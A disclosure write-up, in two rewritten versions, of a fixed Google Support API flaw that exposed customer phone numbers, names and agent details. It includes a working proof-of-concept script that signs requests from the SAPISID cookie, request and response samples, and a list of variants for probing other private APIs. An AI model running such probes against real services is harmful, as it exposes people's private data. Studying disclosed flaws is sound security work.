Hacking Google Support: Leaking millions of customer records
Published on michaeldalton.au
Last year I was taking a look at the Google Support website, which, like most support sites, has a live chat widget. These sorts of pages are always quite fascinating to look at from a security perspective, since they inevitably integrate with separate internal tools used by support agents.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Google Support, like most support sites, embeds a live chat widget. That widget is not served from support.google.com; it lives in an <iframe> at https://realtimesupport.clients6.google.com/static/proxy.html. The clients6.google.com domain is an alias for Google's API infrastructure that runs on .googleapis.com, which Google uses so that login cookies on google.com can authenticate API calls without separate tokens.
The widget talks to the Real-time Support API (realtimesupport.googleapis.com), a private API for what Google internally calls go/rts. The customer-facing chat interface uses only a small part of it. The rest is the machinery support agents and managers use: picking up incoming calls, transferring phone calls, clocking in and out, and so on.
This is the story of the first vulnerability the author found in Google. The issue leaked private customer data, including phone numbers, and agent information for all cases in Google's internal support systems. It was responsibly disclosed to Google's Vulnerability Rewards Program and has since been fixed.

Setup
The only precondition for reproducing the issue was a signed-in Google account. No special role, no internal access, no tooling beyond a browser: the proof of concept runs in the DevTools console of Chrome while signed in to any Google account.
The author's testing approach was to take an existing request from the widget and gradually remove parameters until something broke, producing a minimal request to work from. The Authorization and Cookie headers used in that request expire after about an hour; while testing it was enough to swap them out each time they expired. The author later worked out how to generate them on the fly.
Finding it
Support pages are interesting from a security perspective because they inevitably integrate with separate internal tools used by support agents, and support systems are full of edge cases. The author opened DevTools out of curiosity about how the live chat worked under the hood, and noticed the widget was hosted in an embedded <iframe> on the clients6.google.com domain rather than on support.google.com.
That domain choice was the first lead. Because Google's API infrastructure is highly standardised, there is a trick for discovering which endpoints exist: practically all Google APIs have built-in API documentation called discovery documents.
To fetch one, you need an authorised API key for a GCP project that has the realtimesupport.googleapis.com service enabled. That service is a restricted private API, so enabling it on your own project through the public services.enable API fails:
PERMISSION_DENIED: Permission denied to enable service [realtimesupport.googleapis.com]
But API keys are needed for any request to API services, so since the widget uses the realtimesupport API there had to be either a proxy frontend server injecting API key headers, or, more likely, an API key somewhere. Usually these are hardcoded in client-side JavaScript, and in this case that was and still is true. The key appears in the operator JavaScript bundle:
(new rtsinternal_Cp({alphaTestMode:e,stagingMode:d,apiKey:"[redacted]"}),"RTS_ONE_PLATFORM");
With that key, which comes from the GCP project 458245626997, the discovery document can be requested:
GET /$discovery/rest HTTP/2
Host: realtimesupport.clients6.google.com
X-Goog-Api-Key: [redacted]
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"title": "Real-time Support API",
"description": "Private API for Real-time Support (go/rts).",
"version": "v2",
"baseUrl": "https://realtimesupport.googleapis.com/",
...
The ability to fetch the discovery document for a private API is not considered a security vulnerability in itself. Google has since removed public access to the discovery document; the author archived a copy.
The response listed 93 different methods. For context, the JavaScript that powers the customer-facing live chat interface uses only 14 of them, so the discovery document revealed a much larger attack surface than the widget itself exposes.
Exploitation
Step 1: build a minimal authenticated request
The discovery document is organised under a resource hierarchy. Some top-level resources sounded enticing: agents, changes, conversations and phoneSupportRequests. To start testing, the author reduced an existing request to a minimal one:
GET /v2/customers/me HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://support.google.com
X-Goog-Api-Key: [redacted]
The Cookie and Authorization headers carry the signed-in session; the API key identifies the GCP project; the Origin header matches the support site. The author then worked methodically through the discovery document, substituting IDs from a previous support conversation on their personal account.
Step 2: map the authorisation behaviour
This was clearly meant to be an internal API. It had methods for picking up incoming calls, transferring phone calls and clocking in and out, none of which a random customer should be able to call. Practically all of them appeared to implement authorisation checks correctly, returning 403 PERMISSION_DENIED.
A pattern emerged. When a request URL carried a resource identifier in the path, such as GET /v2/agents/{agent_id}:pools, the request failed immediately with 403 PERMISSION_DENIED. It looked like middleware was globally checking the agent_id parameter. The same happened for other resources such as conversations and phoneSupportRequests, and it happened even when the request body contained invalid data.
When there was no resource ID in the path, the request failed at a later stage. For example, POST /v2/emailSupportRequests:takeMultiple returned 400 INVALID_ARGUMENT. The author started prioritising these methods, which looked a little suspicious.
Step 3: try changes.list
One method stood out: changes.list, described only as:
Get list of changes for specified time period and pools.
The author sent:
POST /v2/changes:list HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
X-Goog-Api-Key: [redacted]
Origin: https://support.google.com
Content-Type: application/json
{
"includeInitialSnapshot": true,
"timeRange": {
"startTimestamp": "1735713335000",
"endTimestamp": "1735713345000"
}
}
The body asks for an initial snapshot of state and a time window, expressed as millisecond epoch strings. The response took about five seconds, and the HTTP client showed a warning before displaying it. The author clicked the client's 'Show Anyway' button quickly. The endpoint did exactly what its description said: it returned a huge dump of system state between the two timestamps. The full response contained a lot of personally identifying information; a redacted example:
{
"initialSnapshot": {
"phoneSupportRequestDiff": [{
"phoneSupportRequestId": "00000000-0000-0000-0000-000000000000",
"after": {
"phoneSupportRequestId": "00000000-0000-0000-0000-000000000000",
"caseId": "6-1234567891234",
"speakeasySessionId": "P1000000000802102019",
"poolId": "9000264",
"creationTimestamp": "1735713279672",
"isInSessionWithAgent": true,
"agentId": "01189998819991197253",
"customerInformation": {
"customerPhoneNumber": "+61 2 8503 8000"
},
"agentAssignmentHandledBySpeakeasy": true,
"callType": "CALLBACK",
"takenTimestamp": "1735713318394"
},
"casesPoolId": "9000264"
}],
"agentDiff": [{
"agentId": "01189998819991197253",
"after": {
"agentId": "01189998819991197253",
"jid": "[redacted]",
"status": "AVAILABLE",
"poolPriority": [
{
"casesPoolId": "5391",
"chatEnabled": true,
"phoneEnabled": true,
"agentChatPriority": "AGENT_PRIORITY_PRIMARY",
"agentPhonePriority": "AGENT_PRIORITY_SECONDARY",
"agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
},
{
"casesPoolId": "5399",
"chatEnabled": true,
"phoneEnabled": true,
"agentChatPriority": "AGENT_PRIORITY_PRIMARY",
"agentPhonePriority": "AGENT_PRIORITY_PRIMARY",
"agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
},
{
"casesPoolId": "3019241",
"emailEnabled": true,
"agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
}
],
"assignmentThreshold": 2,
"email": "[redacted]",
"numSessions": 2,
"statusTimestamp": "1735713310687",
"identityEntityId": "01189998819991197253",
"lastLoginTimestamp": "1735707262050",
"preferredName": "Sergey",
"emailStatus": "BUSY",
"phoneStatus": "BUSY",
"lastTakenTimestamp": "1735713327651",
"emailAssignmentThreshold": 1,
"activityStatus": {
"id": "00000000-0000-0000-0000-000000000000",
"label": "Chat"
},
"activityStatusTimestamp": "1735712654823",
"speakeasyWorkModeStartTime": "1735712654931",
"speakeasyAgentId":
"contactCenterBusinesses/00000000-0000-0000-0000-000000000000/employers/00000000-0000-0000-0000-000000000000/agents/01189998819991197253"
}
}],
"supportRequestDiff": [{
"poolId": "cases-eng:en:00000000-0000-0000-0000-000000000000",
"customerId": "35279119991889998110",
"after": {
"poolId": "cases-eng:en:00000000-0000-0000-0000-000000000000",
"customerId": "35279119991889998110",
"creationTimestamp": "1735713178490",
"caseId": "2-4007302031393",
"caseMessageId":
"<[redacted]>",
"session": {
"agentId": "01189998819991197253",
"creationTimestamp": "1735713318537",
"cbfConversationId": "00000000-0000-0000-0000-000000000000"
},
"cbfPool": true,
"customerName": "Michael",
"casesPoolId": "5391",
"supportRequestId": "00000000-0000-0000-0000-000000000000",
"isSmartGreeterAvailable": true
},
"casesPoolId": "5391",
"supportRequestId": "00000000-0000-0000-0000-000000000000"
}]
}
}
The three diff arrays show what the endpoint returns. phoneSupportRequestDiff carries phone support requests with the customer phone number, case ID, pool and the assigned agent. agentDiff carries agent records with the agent's @google.com email, preferred name, status, per-pool priorities and activity status. supportRequestDiff carries chat support requests with the customer name, customer ID, case ID, pool and the agent session, including cbfConversationId.
Step 4: write the report
After recovering from the initial shock, the author started writing a vulnerability report to Google VRP and submitted it just after midnight local time.
The report describes the vulnerable RPC as [redacted].realtimesupport.v2.ChangeService2.ListChanges in the Real-time Support API, callable by any account, returning global support-related information between two user-supplied timestamps. It notes that the preferredName/email combinations and/or agentId allow agents to be deanonymised, with high potential for harassment. The activityStatus field is detailed, including values such as "Lunch", "Twitter Support", "Scheduled Break", "Coaching" and "Training / Feedback", and multiple RPC calls could identify individual agents' schedules. Google Account names of chat customers can be linked to the agent, case ID and pool (for example cases-eng, play, Nova, Drive, Google One), and cbfConversationId is exposed, which could allow accessing chat contents. Customer phone numbers for inbound and outbound calls and callbacks can be linked to the agent and case ID.
The author made only four successful calls to the RPC. From those, data existed for at least the period 1 January 2025 to 1 June 2025, all of which an attacker could access. The report says it is highly likely that additional information such as chat conversation contents is accessible, but the author did not attempt this because of the sensitivity of the data. Other actions such as transferring in-progress phone calls may also be possible.
The reproduction steps in the report are:
- Sign in to any Google account in Chrome.
- Navigate to
https://realtimesupport.clients6.google.com/. The page returns 404, which is expected and is the easiest way to bypass CORS problems. - Run the following script in the DevTools console.
(async () => {
console.log('[+] making request to [redacted].realtimesupport.v2.ChangeService2.ListChanges');
const response = await fetch('https://realtimesupport.clients6.google.com/v2/changes:list?key=[redacted]', {
headers: {
'authorization': 'SAPISIDHASH ' + await (async () => {
async function sha1(str) {
return window.crypto.subtle.digest('SHA-1', new TextEncoder('utf-8').encode(str)).then(buf => {
return Array.prototype.map.call(new Uint8Array(buf), x => (('00' + x.toString(16)).slice(-2))).join('');
});
}
function cookie(name) {
return document.cookie
.split('; ')
.find(row => row.startsWith(`${name}=`))
?.split('=')[1];
}
const TIMESTAMP = Math.floor(new Date().getTime() / 1000);
const SAPISID = cookie('SAPISID');
const ORIGIN = window.location.origin;
const digest = await sha1([TIMESTAMP, SAPISID, ORIGIN].join(" "));
return `${TIMESTAMP}_${digest}`;
})(),
'content-type': 'application/json'
},
method: 'POST',
body: JSON.stringify({
includeInitialSnapshot: true,
timeRange: {
startTimestamp: "1735713335000",
endTimestamp: "1735713345000"
}
})
});
let data = await response.text();
console.log(`[+] got response with status=${response.status}, length=${data.length}`);
try {
data = JSON.parse(data);
} catch {}
console.log('[+] response data:', data);
})();
The script builds a SAPISIDHASH authorization header from the SAPISID cookie, the current Unix timestamp and the page origin, then POSTs the same body to /v2/changes:list with the API key as a query parameter. The report stresses that the script is provided purely for ease of reproduction and that this is not a client-side vulnerability.
The report lists the four successful calls, all made from a redacted IP address under a redacted account:
- Sun, 01 Jun 2025 06:35:35 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1748759699066" } } - Sun, 01 Jun 2025 11:01:56 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1735713335000", "endTimestamp": "1735713345000" } } - Sun, 01 Jun 2025 11:05:34 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1735713335000", "endTimestamp": "1735713345000" } } - Sun, 01 Jun 2025 12:44:58 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1735713335000", "endTimestamp": "1735713345000" } }
A few other requests timed out with a 503 error and returned no data.
The report's attack scenario: an effectively unauthenticated remote attacker, since any Google account works, may access personally identifying information for agents and customers of Google Support covering at least the last five months. That includes agent names and @google.com email addresses with activity status history such as lunch breaks; for chat customers, account names and support pools linked to agent details; and for phone customers, unredacted customer phone numbers linked to agent details. The report's back-of-the-napkin maths puts at least 30 million customer phone numbers as probably accessible, linkable to case ID numbers, agent details and support pools, enabling hyper-targeted phishing.
Root cause
The report does not describe the underlying code. What the testing shows is that the authorisation middleware checked resource identifiers present in the request path, which is why GET /v2/agents/{agent_id}:pools and similar paths failed immediately with 403 PERMISSION_DENIED, even with an invalid body. Methods without a resource ID in the path were not stopped by that check and failed later, at argument validation. changes:list has no resource ID in its path and takes only a time range, so the global check had nothing to inspect, and the method returned data instead of failing.. The author's theory is that this API endpoint is used by managers for some kind of big-picture breakdown of an entire support pool.
The API key was not the barrier either: it was hardcoded in client-side JavaScript, and Google does not treat discovery document access or API key exposure of this kind as a vulnerability in itself. The API key was not the barrier, since it was hardcoded in client-side JavaScript.
Impact
Any attacker with any Google account could access, for the time ranges they chose:
- Agent names, their
@google.comemail addresses and detailed activity status history, for example lunch breaks. - For chat customers: customer names and support pools, linked to agent details.
- For phone customers: unredacted phone numbers, linked to agent details.
Google was unwilling to disclose the exact number of accessible support cases. The author's rough guess in the report was a minimum of 30 million cases, believed to be an accurate lower bound. Data existed for at least 1 January 2025 to 1 June 2025.
Beyond the PII disclosure and the agent stalking implication, the author points to a phishing angle: a customer who has just finished a call with Google Support about a Play Store refund could receive a call ten seconds later from a "manager at Google Support" who knows the department called and the name of the agent spoken to, and asks them to reverify card details because of suspected fraud on the previous call.
Fix
Google closed the report as fixed on 2025-11-12. The timeline in the report:
| Date (UTC) | Event |
|---|---|
| 2025-06-01 14:26 | Reported to Google VRP as b/421705403 |
| 2025-06-02 08:59 | Triaged |
| 2025-06-02 10:39 | Accepted as P1/S1 |
| 2025-06-05 20:42 | Google requests deletion of any locally downloaded data |
| 2025-06-10 12:55 | VRP panel issues a reward of $14337.00 USD |
| 2025-09-27 02:35 | Re-testing shows the method is still vulnerable |
| 2025-09-29 12:29 | Google confirms the product team is still fixing the underlying issue |
| 2025-11-12 03:59 | Google closes the report as fixed, 164 days after the initial report |
| 2026-03-31 12:00 | Report disclosed |
The reward rationale: the issue was assessed as a bypass of significant security controls impacting PII or other confidential user information (S2b) on a standard Google application (T2), plus a $1,000 bonus for the report. Google also removed public access to the discovery document.
Variants to test
- Enumerate discovery documents for other private Google APIs using API keys found in client-side JavaScript, then look for methods whose paths contain no resource identifier. A positive result is a method that returns data instead of failing at the global path check with 403
PERMISSION_DENIED. - For each such method, send a minimal body with a narrow time range or filter and check whether the response contains records belonging to other users, agents or pools. A positive result is any record you should not see, such as another customer's phone number or an agent's email address.
- Compare the methods the customer-facing widget actually calls against the full method list. Methods used only by internal tooling are the interesting ones; a positive result is one of them answering your request.
- Probe whether exposed identifiers such as
cbfConversationIdcan be used against other methods to reach chat contents. A positive result is a method that accepts the ID and returns conversation data. - Test whether state-changing internal methods without a path resource ID, such as call transfer or clock in/out, accept requests from a normal account. A positive result is a 200 response or a state change rather than 403 or 400.
- Re-test after a fix is announced, as the author did: the method was still vulnerable months after the initial report. A positive result is the same data still coming back.
What happened, in plain words
Google Support, like most support sites, has a live chat widget: the little box in the corner where you type to a support agent. That widget is not served from support.google.com. It lives inside an <iframe> at https://realtimesupport.clients6.google.com/static/proxy.html. An <iframe> is a page inside a page, a small window embedded in a bigger one, the way a YouTube video sits inside a blog post.
The clients6.google.com domain is an alias for Google's API infrastructure that runs on .googleapis.com. Google uses it so that the login cookies on google.com can authenticate API calls without separate tokens. A cookie is a small piece of data your browser stores for a site and sends back with every request, which is how a site remembers that you are signed in. A token is a similar credential, a string that proves who you are. An API is the set of doors a program knocks on to ask a service for data or to make it do something, like a restaurant menu of requests the kitchen will accept.
The widget talks to the Real-time Support API (realtimesupport.googleapis.com), a private API for what Google internally calls go/rts. The customer-facing chat interface uses only a small part of it. The rest is the machinery support agents and managers use: picking up incoming calls, transferring phone calls, clocking in and out, and so on.
This is the story of the first vulnerability the author found in Google. A vulnerability is a flaw that lets someone do something the system did not intend, like a door that looks locked but opens when you push it the wrong way. The issue leaked private customer data, including phone numbers, and agent information for all cases in Google's internal support systems. It was responsibly disclosed to Google's Vulnerability Rewards Program, a scheme where Google pays people who report flaws, and has since been fixed.

Setup
The only precondition for reproducing the issue was a signed-in Google account. No special role, no internal access, no tooling beyond a browser: the proof of concept runs in the DevTools console of Chrome while signed in to any Google account. DevTools is the panel built into Chrome that shows what a page is doing behind the scenes, and its console is a place where you can type commands and run small scripts in the page.
The author's testing approach was to take an existing request from the widget and gradually remove parameters until something broke, producing a minimal request to work from. A parameter is one of the named values a request carries, like the fields on a form. Stripping them one at a time shows which ones the server actually needs, the way you can remove ingredients from a recipe until the cake stops rising. The Authorization and Cookie headers used in that request expire after about an hour; while testing it was enough to swap them out each time they expired. A header is a labelled line of extra information sent alongside a request, like the address and postage on an envelope. The author later worked out how to generate them on the fly.
Finding it
Support pages are interesting from a security perspective because they inevitably integrate with separate internal tools used by support agents, and support systems are full of edge cases. An edge case is a situation at the boundary of normal use, the odd combination nobody designed for, and security bugs tend to hide there. The author opened DevTools out of curiosity about how the live chat worked under the hood, and noticed the widget was hosted in an embedded <iframe> on the clients6.google.com domain rather than on support.google.com.
That domain choice was the first lead. Because Google's API infrastructure is highly standardised, there is a trick for discovering which endpoints exist: practically all Google APIs have built-in API documentation called discovery documents. An endpoint is one specific address on a server that answers a particular kind of request. A discovery document is a machine-readable catalogue of every endpoint an API offers, like the index at the back of a book telling you every topic and page.
To fetch one, you need an authorised API key for a GCP project that has the realtimesupport.googleapis.com service enabled. GCP is Google Cloud Platform, Google's service for running things in the cloud, and a project is a container inside it. An API key is a short string that identifies which project a request comes from, like a membership card you show at the door. That service is a restricted private API, so enabling it on your own project through the public services.enable API fails:
PERMISSION_DENIED: Permission denied to enable service [realtimesupport.googleapis.com]
This is the server saying no: your project is not allowed to switch this service on. But API keys are needed for any request to API services, so since the widget uses the realtimesupport API there had to be either a proxy frontend server injecting API key headers, or, more likely, an API key somewhere. A proxy frontend server is a middle machine that adds the key for you. Usually these keys are hardcoded in client-side JavaScript, meaning written directly into the code your browser downloads, where anyone can read them. In this case that was and still is true. The key appears in the operator JavaScript bundle:
(new rtsinternal_Cp({alphaTestMode:e,stagingMode:d,apiKey:"[redacted]"}),"RTS_ONE_PLATFORM");
Line by line: this is a single statement that creates an object with new rtsinternal_Cp(...), passing it a settings object with three fields. alphaTestMode:e and stagingMode:d are switches whose values come from variables e and d, and apiKey:"[redacted]" is the API key written out in plain text. The trailing ,"RTS_ONE_PLATFORM" is a second value in the same expression. The point for a reader is simple: the key is sitting in a file the browser downloads, so anyone can copy it.
With that key, which comes from the GCP project 458245626997, the discovery document can be requested:
GET /$discovery/rest HTTP/2
Host: realtimesupport.clients6.google.com
X-Goog-Api-Key: [redacted]
Line by line: GET /$discovery/rest HTTP/2 asks the server for the discovery document at that path, using version 2 of the HTTP protocol, the language browsers and servers speak. Host: realtimesupport.clients6.google.com names the server being asked. X-Goog-Api-Key: ... presents the key from the JavaScript file, which is what makes the request acceptable to Google's API infrastructure.
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"title": "Real-time Support API",
"description": "Private API for Real-time Support (go/rts).",
"version": "v2",
"baseUrl": "https://realtimesupport.googleapis.com/",
...
Line by line: HTTP/2 200 OK is the server's reply meaning the request succeeded, where 200 is the standard code for success. Content-Type: application/json; charset=UTF-8 says the body is JSON, a text format for structured data built from names and values in curly braces, encoded in UTF-8. The body then gives the API's title, a description calling it a private API, its version v2, and its base URL, the root address all its endpoints hang off. The ... means the document continues with the full list of endpoints.
The ability to fetch the discovery document for a private API is not considered a security vulnerability in itself. Google has since removed public access to the discovery document; the author archived a copy.
The response listed 93 different methods. A method here means one callable operation, one endpoint with a name. For context, the JavaScript that powers the customer-facing live chat interface uses only 14 of them, so the discovery document revealed a much larger attack surface than the widget itself exposes. Attack surface is the total set of things an attacker could try to interact with, like counting every window and door on a building rather than just the front entrance.
Exploitation
Step 1: build a minimal authenticated request
The discovery document is organised under a resource hierarchy, meaning endpoints are grouped by the kind of thing they act on, the way a filing cabinet has drawers for customers, orders and staff. Some top-level resources sounded enticing: agents, changes, conversations and phoneSupportRequests. To start testing, the author reduced an existing request to a minimal one:
GET /v2/customers/me HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
Origin: https://support.google.com
X-Goog-Api-Key: [redacted]
Line by line: GET /v2/customers/me asks for the record of the current customer, the me shorthand meaning whoever is signed in. Host names the server. Cookie: <redacted> carries the browser's stored session cookie, the value that proves you are signed in; it is redacted here because it is a secret. Authorization: SAPISIDHASH <redacted> carries a second proof of identity, a value derived from a cookie and a timestamp, also redacted. Origin: https://support.google.com tells the server which site the request is coming from. X-Goog-Api-Key presents the project key. The Cookie and Authorization headers carry the signed-in session; the API key identifies the GCP project; the Origin header matches the support site. The author then worked methodically through the discovery document, substituting IDs from a previous support conversation on their personal account, to see what each method would return for a real record.
Step 2: map the authorisation behaviour
This was clearly meant to be an internal API. It had methods for picking up incoming calls, transferring phone calls and clocking in and out, none of which a random customer should be able to call. Authorisation is the check that decides whether the person asking is allowed to do the thing they are asking for, as opposed to authentication, which is only about proving who they are. Practically all of them appeared to implement authorisation checks correctly, returning 403 PERMISSION_DENIED. A 403 is the standard code for "I know who you are, and you are not allowed".
A pattern emerged. When a request URL carried a resource identifier in the path, such as GET /v2/agents/{agent_id}:pools, the request failed immediately with 403 PERMISSION_DENIED. A resource identifier is the unique name of one record, like an account number, and here {agent_id} is a placeholder for it. It looked like middleware was globally checking the agent_id parameter. Middleware is code that sits in front of the actual handler and inspects every request before it gets through, like a receptionist who checks your badge before you reach any office. The same happened for other resources such as conversations and phoneSupportRequests, and it happened even when the request body contained invalid data, which shows the check ran before anything else looked at the request.
When there was no resource ID in the path, the request failed at a later stage. For example, POST /v2/emailSupportRequests:takeMultiple returned 400 INVALID_ARGUMENT. A 400 is the standard code for "your request was malformed", and POST is the method used to send data to the server rather than just ask for it. The author started prioritising these methods, which looked a little suspicious: if the receptionist only checks badges for visitors who name a specific office, then requests that name no office slip past the receptionist and are judged by someone else further in.
Step 3: try changes.list
One method stood out: changes.list, described only as:
Get list of changes for specified time period and pools.
The description is vague, which is itself a reason to look. The author sent:
POST /v2/changes:list HTTP/2
Host: realtimesupport.clients6.google.com
Cookie: <redacted>
Authorization: SAPISIDHASH <redacted>
X-Goog-Api-Key: [redacted]
Origin: https://support.google.com
Content-Type: application/json
{
"includeInitialSnapshot": true,
"timeRange": {
"startTimestamp": "1735713335000",
"endTimestamp": "1735713345000"
}
}
Line by line: POST /v2/changes:list calls the method that lists changes. The headers are the same identity and key headers as before, plus Content-Type: application/json saying the body is JSON. The body asks for an initial snapshot of state, includeInitialSnapshot: true, and a time window of ten seconds, expressed as millisecond epoch strings. An epoch timestamp is a moment in time written as the number of milliseconds since 1 January 1970, a convention computers use so times can be compared as plain numbers. The two values are one second apart in the last digits. The response took about five seconds, and the HTTP client showed a warning before displaying it. The author clicked the client's 'Show Anyway' button quickly. The endpoint did exactly what its description said: it returned a huge dump of system state between the two timestamps. The full response contained a lot of personally identifying information; a redacted example:
{
"initialSnapshot": {
"phoneSupportRequestDiff": [{
"phoneSupportRequestId": "00000000-0000-0000-0000-000000000000",
"after": {
"phoneSupportRequestId": "00000000-0000-0000-0000-000000000000",
"caseId": "6-1234567891234",
"speakeasySessionId": "P1000000000802102019",
"poolId": "9000264",
"creationTimestamp": "1735713279672",
"isInSessionWithAgent": true,
"agentId": "01189998819991197253",
"customerInformation": {
"customerPhoneNumber": "+61 2 8503 8000"
},
"agentAssignmentHandledBySpeakeasy": true,
"callType": "CALLBACK",
"takenTimestamp": "1735713318394"
},
"casesPoolId": "9000264"
}],
"agentDiff": [{
"agentId": "01189998819991197253",
"after": {
"agentId": "01189998819991197253",
"jid": "[redacted]",
"status": "AVAILABLE",
"poolPriority": [
{
"casesPoolId": "5391",
"chatEnabled": true,
"phoneEnabled": true,
"agentChatPriority": "AGENT_PRIORITY_PRIMARY",
"agentPhonePriority": "AGENT_PRIORITY_SECONDARY",
"agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
},
{
"casesPoolId": "5399",
"chatEnabled": true,
"phoneEnabled": true,
"agentChatPriority": "AGENT_PRIORITY_PRIMARY",
"agentPhonePriority": "AGENT_PRIORITY_PRIMARY",
"agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
},
{
"casesPoolId": "3019241",
"emailEnabled": true,
"agentVideoPriority": "AGENT_PRIORITY_PRIMARY"
}
],
"assignmentThreshold": 2,
"email": "[redacted]",
"numSessions": 2,
"statusTimestamp": "1735713310687",
"identityEntityId": "01189998819991197253",
"lastLoginTimestamp": "1735707262050",
"preferredName": "Sergey",
"emailStatus": "BUSY",
"phoneStatus": "BUSY",
"lastTakenTimestamp": "1735713327651",
"emailAssignmentThreshold": 1,
"activityStatus": {
"id": "00000000-0000-0000-0000-000000000000",
"label": "Chat"
},
"activityStatusTimestamp": "1735712654823",
"speakeasyWorkModeStartTime": "1735712654931",
"speakeasyAgentId":
"contactCenterBusinesses/00000000-0000-0000-0000-000000000000/employers/00000000-0000-0000-0000-000000000000/agents/01189998819991197253"
}
}],
"supportRequestDiff": [{
"poolId": "cases-eng:en:00000000-0000-0000-0000-000000000000",
"customerId": "35279119991889998110",
"after": {
"poolId": "cases-eng:en:00000000-0000-0000-0000-000000000000",
"customerId": "35279119991889998110",
"creationTimestamp": "1735713178490",
"caseId": "2-4007302031393",
"caseMessageId":
"<[redacted]>",
"session": {
"agentId": "01189998819991197253",
"creationTimestamp": "1735713318537",
"cbfConversationId": "00000000-0000-0000-0000-000000000000"
},
"cbfPool": true,
"customerName": "Michael",
"casesPoolId": "5391",
"supportRequestId": "00000000-0000-0000-0000-000000000000",
"isSmartGreeterAvailable": true
},
"casesPoolId": "5391",
"supportRequestId": "00000000-0000-0000-0000-000000000000"
}]
}
}
Line by line: the outer object has one key, initialSnapshot, holding the state at the start of the window. Inside it are three arrays, each a list of records in square brackets. phoneSupportRequestDiff carries phone support requests with the customer phone number, case ID, pool and the assigned agent. Each entry has an after object showing the record's state, and fields such as customerPhoneNumber and callType: "CALLBACK". agentDiff carries agent records with the agent's @google.com email, preferred name, status, per-pool priorities and activity status. Here jid and email both show an address, preferredName shows a name, status shows AVAILABLE, and activityStatus has a label of Chat. supportRequestDiff carries chat support requests with the customer name, customer ID, case ID, pool and the agent session, including cbfConversationId. The customerName field shows a name, and session links the request to an agentId. The example is redacted.
Step 4: write the report
After recovering from the initial shock, the author started writing a vulnerability report to Google VRP and submitted it just after midnight local time.
The report describes the vulnerable RPC as [redacted].realtimesupport.v2.ChangeService2.ListChanges in the Real-time Support API, callable by any account, returning global support-related information between two user-supplied timestamps. An RPC is a remote procedure call, a named operation you invoke on a server as if it were a function in your own code; ListChanges is the internal name of the same method the HTTP path calls changes:list. It notes that the preferredName/email combinations and/or agentId allow agents to be deanonymised, with high potential for harassment: deanonymising means working out who a supposedly anonymous person really is. The activityStatus field is detailed, including values such as "Lunch", "Twitter Support", "Scheduled Break", "Coaching" and "Training / Feedback", and multiple RPC calls could identify individual agents' schedules. Google Account names of chat customers can be linked to the agent, case ID and pool (for example cases-eng, play, Nova, Drive, Google One), and cbfConversationId is exposed, which could allow accessing chat contents. Customer phone numbers for inbound and outbound calls and callbacks can be linked to the agent and case ID.
The author made only four successful calls to the RPC. From those, data existed for at least the period 1 January 2025 to 1 June 2025, all of which an attacker could access. The report says it is highly likely that additional information such as chat conversation contents is accessible, but the author did not attempt this because of the sensitivity of the data. Other actions such as transferring in-progress phone calls may also be possible.
The reproduction steps in the report are:
- Sign in to any Google account in Chrome.
- Navigate to
https://realtimesupport.clients6.google.com/. The page returns 404, which is expected and is the easiest way to bypass CORS problems. A 404 is the standard code for "not found". CORS is the browser rule that stops a page on one site from quietly reading responses from another site; by loading a page on the API's own domain first, the script runs as if it belongs there, so the browser does not block it. - Run the following script in the DevTools console.
(async () => {
console.log('[+] making request to [redacted].realtimesupport.v2.ChangeService2.ListChanges');
const response = await fetch('https://realtimesupport.clients6.google.com/v2/changes:list?key=[redacted]', {
headers: {
'authorization': 'SAPISIDHASH ' + await (async () => {
async function sha1(str) {
return window.crypto.subtle.digest('SHA-1', new TextEncoder('utf-8').encode(str)).then(buf => {
return Array.prototype.map.call(new Uint8Array(buf), x => (('00' + x.toString(16)).slice(-2))).join('');
});
}
function cookie(name) {
return document.cookie
.split('; ')
.find(row => row.startsWith(`${name}=`))
?.split('=')[1];
}
const TIMESTAMP = Math.floor(new Date().getTime() / 1000);
const SAPISID = cookie('SAPISID');
const ORIGIN = window.location.origin;
const digest = await sha1([TIMESTAMP, SAPISID, ORIGIN].join(" "));
return `${TIMESTAMP}_${digest}`;
})(),
'content-type': 'application/json'
},
method: 'POST',
body: JSON.stringify({
includeInitialSnapshot: true,
timeRange: {
startTimestamp: "1735713335000",
endTimestamp: "1735713345000"
}
})
});
let data = await response.text();
console.log(`[+] got response with status=${response.status}, length=${data.length}`);
try {
data = JSON.parse(data);
} catch {}
console.log('[+] response data:', data);
})();
Line by line: (async () => { starts an async function, meaning one that can wait for slow things like network replies without freezing the page, and await marks the places where it waits. console.log(...) prints a message to the console so you can follow along. const response = await fetch('https://realtimesupport.clients6.google.com/v2/changes:list?key=[redacted]', { sends the request, with the API key passed as a query parameter, the part of a URL after the ?. The headers object sets authorization to 'SAPISIDHASH ' followed by a value built by an inner async function. Inside that function, sha1(str) computes a SHA-1 hash, a one-way fingerprint of some text, using the browser's built-in crypto.subtle.digest, then turns the result into a hex string. cookie(name) reads document.cookie, splits it into rows, finds the row starting with the requested name and returns its value. TIMESTAMP is the current time in whole seconds. SAPISID is the value of the SAPISID cookie, a Google cookie used for this kind of signing. ORIGIN is the page's origin, its scheme and domain. digest is the SHA-1 of the timestamp, the cookie value and the origin joined by spaces, and the function returns `${TIMESTAMP}_${digest}`, the format the server expects. The 'content-type': 'application/json' header says the body is JSON. method: 'POST' sends data rather than just asking. body: JSON.stringify({...}) turns the same snapshot and ten-second time window into JSON text. let data = await response.text(); reads the reply as text. The next console.log prints the status code and the length of the reply. JSON.parse(data) tries to turn the text into a JavaScript object, and the empty catch {} quietly ignores the case where it is not valid JSON. The final console.log prints the parsed data. The script builds a SAPISIDHASH authorization header from the SAPISID cookie, the current Unix timestamp and the page origin, then POSTs the same body to /v2/changes:list with the API key 